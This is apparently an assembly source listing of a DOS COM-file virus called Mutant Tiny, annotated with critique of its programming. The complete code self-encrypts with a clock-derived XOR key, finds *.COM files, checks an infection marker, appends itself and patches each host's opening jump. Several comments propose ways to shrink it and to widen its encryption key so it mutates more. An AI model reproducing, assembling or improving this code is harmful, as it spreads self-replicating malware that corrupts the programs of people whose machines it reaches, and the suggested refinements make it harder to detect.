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253 lines
11 KiB
NASM
253 lines
11 KiB
NASM
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muttiny segment byte public
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assume cs:muttiny, ds:muttiny
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org 100h
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start: db 0e9h, 5, 0 ; jmp startvir
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restorehere: int 20h
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idword: dw 990h
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; The next line is incredibly pointless. It is a holdover from one
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; of the original TINYs, where the id was 7, 8, 9. The author can
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; easily save one byte merely by deleting this line.
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db 09h
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startvir:
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call oldtrick ; Standard location-finder
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oldtrick: pop si
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; The following statement is a bug -- well, not really a bug, just
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; extraneous code. The value pushed on the stack in the following
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; line is NEVER popped off. This is messy programming, as one byte
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; could be saved by removing the statement.
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push si
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sub si,offset oldtrick
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call encrypt ; Decrypt virus
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call savepsp ; and save the PSP
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; NOTE: The entire savepsp/restorepsp procedures are unnecessary.
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; See the procedures at the end for further details.
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jmp short findencryptval ; Go to the rest of the virus
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; The next line is another example of messy programming -- it is a
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; NOP inserted by MASM during assembly. Running this file through
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; TASM with the /m2 switch should eliminate such "fix-ups."
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nop
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; The next line leaves me guessing as to the author's true intent.
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db 0
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encryptval dw 0h
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encrypt:
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push bx ; Save handle
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; The following two lines of code could be condensed into one:
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; lea bx, [si+offset startencrypt]
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; Once again, poor programming style, though there's nothing wrong
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; with the code.
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mov bx,offset startencrypt
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add bx,si
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; Continueencrypt is implemented as a jmp-type loop. Although it's
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; fine to code it this way, it's probably easier to code using the
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; loop statement. Upon close inspection, one finds the loop to be
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; flawed. Note the single inc bx statement. This essentially makes
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; the encryption value a a byte instead of a word, which decreases
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; the number of mutations from 65,535 to 255. Once again, this is
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; just poor programming, very easily rectified with another inc bx
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; statement. Another optimization could be made. Use a
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; mov dx, [si+encryptval]
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; to load up the encryption value before the loop, and replace the
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; three lines following continueencrypt with a simple:
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; xor word ptr [bx], dx
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continueencrypt:
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mov ax,[bx]
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xor ax,word ptr [si+encryptval]
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mov [bx],ax
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inc bx
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; The next two lines should be executed BEFORE continueencrypt. As
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; it stands right now, they are recalculated every iteration which
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; slows down execution somewhat. Furthermore, the value calculated
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; is much too large and this increases execution time. Yet another
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; improvement would be the merging of the mov/add pair to the much
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; cleaner lea cx, [si+offset endvirus].
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mov cx,offset veryend ; Calculate end of
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add cx,si ; encryption: Note
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cmp bx,cx ; the value is 246
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jle continueencrypt ; bytes too large.
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pop bx
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ret
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writerest: ; Tack on the virus to the
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call encrypt ; end of the file.
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mov ah,40h
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mov cx,offset endvirus - offset idword
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lea dx,[si+offset idword] ; Write starting from the id
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int 21h ; word
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call encrypt
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ret
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startencrypt:
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; This is where the encrypted area begins. This could be moved to
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; where the ret is in procedure writerest, but it is not necessary
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; since it won't affect the "scannability" of the virus.
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findencryptval:
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mov ah,2Ch ; Get random #
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int 21h ; CX=hr/min dx=sec
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; The following chunk of code puzzles me. I admit it, I am totally
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; lost as to its purpose.
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cmp word ptr [si+offset encryptval],0
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je step_two
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cmp word ptr [si+offset encryptval+1],0
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je step_two
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cmp dh,0Fh
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jle foundencryptionvalue
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step_two: ; Check to see if any
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cmp dl,0 ; part of the encryption
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je findencryptval ; value is 0 and if so,
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cmp dh,0 ; find another value.
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je findencryptval
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mov [si+offset encryptval],dx
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foundencryptionvalue:
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mov bp,[si+offset oldjmp] ; Set up bp for
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add bp,103h ; jmp later
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lea dx,[si+filemask] ; '*.COM',0
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xor cx,cx ; Attributes
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mov ah,4Eh ; Find first
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tryanother:
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int 21h
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jc quit_virus ; If none found, exit
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mov ax,3D02h ; Open read/write
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mov dx,9Eh ; In default DTA
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int 21h
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mov cx,3
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mov bx,ax ; Swap file handle register
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lea dx,[si+offset buffer]
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mov di,dx
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call read ; Read 3 bytes
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cmp byte ptr [di],0E9h ; Is it a jmp?
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je infect
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findnext:
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mov ah,4Fh ; If not, find next
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jmp short tryanother
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infect:
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mov ax,4200h ; Move file pointer
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mov dx,[di+1] ; to jmp location
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mov [si+offset oldjmp],dx ; and save old jmp
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xor cx,cx ; location
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call int21h
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jmp short skipcheckinf
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; Once again, we meet an infamous MASM-NOP.
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nop
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; I don't understand why checkinf is implemented as a procedure as
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; it is executed but once. It is a waste of code space to do such
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; a thing. The ret and call are both extra, wasting four bytes. An
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; additional three bytes were wasted on the JMP skipping checkinf.
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; In a program called "Tiny," a wasted seven bytes is rather large
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; and should not exist. I have written a virus of half the length
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; of this virus which is a generic COM infector. There is just too
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; too much waste in this program.
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checkinf:
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cmp word ptr [di],990h ; Is it already
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je findnext ; infected?
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; The je statement above presents another problem. It leaves stuff
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; on the stack from the call. This is, once again, not a critical
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; error but nevertheless it is extremely sloppy behavior.
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xor dx,dx
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xor cx,cx
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mov ax,4202h
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call int21h ; Goto end of file
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ret
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skipcheckinf:
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mov cx,2
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mov dx,di
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call read ; read 2 bytes
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call checkinf
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; The next check is extraneous. No COM file is larger than 65,535
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; bytes before infection simply because it is "illegal." Yet ano-
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; ther waste of code. Even if one were to use this useless check,
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; it should be implemented, to save space, as or dx, dx.
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cmp dx,0 ; Check if too big
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jne findnext
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cmp ah,0FEh ; Check again if too big
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jae findnext
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mov [si+storejmp],ax ; Save new jmp
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call writerest ; location
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mov ax,4200h ; Go to offset
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mov dx,1 ; 1 in the file
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xor cx,cx
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call int21h
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mov ah,40h ; and write the new
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mov cx,2 ; jmp location
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lea dx,[si+storejmp]
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call int21h
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; I think it is quite obvious that the next line is pointless. It
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; is a truly moronic waste of two bytes.
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jc closefile
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closefile:
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mov ah,3Eh ; Close the file
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call int21h
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quit_virus:
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call restorepsp
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jmp bp
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read:
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mov ah,3Fh ; Read file
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; I do not understand why all the int 21h calls are done with this
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; procedure. It is a waste of space. A normal int 21h call is two
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; bytes long while it's three bytes just to call this procedure!
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int21h:
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int 21h
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ret
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db 'Made in England'
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; Note: The comments for savepsp also apply to restorepsp.
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; This code could have easily been changed to a set active DTA INT
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; 21h call (AH = 1Ah). It would have saved many, many bytes.
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savepsp:
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mov di,0
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; The following is a bug. It should be
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; mov cx, 50h
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; since the author decided to use words instead of bytes.
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mov cx,100h
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push si
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; The loop below is dumb. A simple rep movsw statement would have
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; sufficed. Instead, countless bytes are wasted on the loop.
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storebytes:
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mov ax,[di]
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mov word ptr [si+pspstore],ax
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add si,2
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add di,2
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loop storebytes
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pop si
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ret
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restorepsp:
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mov di,0
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mov cx,100h ; Restore 200h bytes
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push si
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restorebytes:
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mov ax,word ptr [si+pspstore]
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mov [di],ax
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add si,2
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add di,2
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loop restorebytes
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pop si
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ret
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oldjmp dw 0
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filemask db '*.COM',0
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idontknow1 db 66h ; Waste of one byte
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buffer db 00h, 00h, 01h ; Waste of three bytes
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storejmp dw 0 ; Waste of two bytes
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; endvirus should be before idontknow1, thereby saving six bytes.
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endvirus:
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idontknow2 db ?, ?
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pspstore db 200 dup (?) ; Should actually be
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idontknow3 db 2ch dup (?) ; 100h bytes long.
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veryend: ; End of encryption
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muttiny ends
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end start
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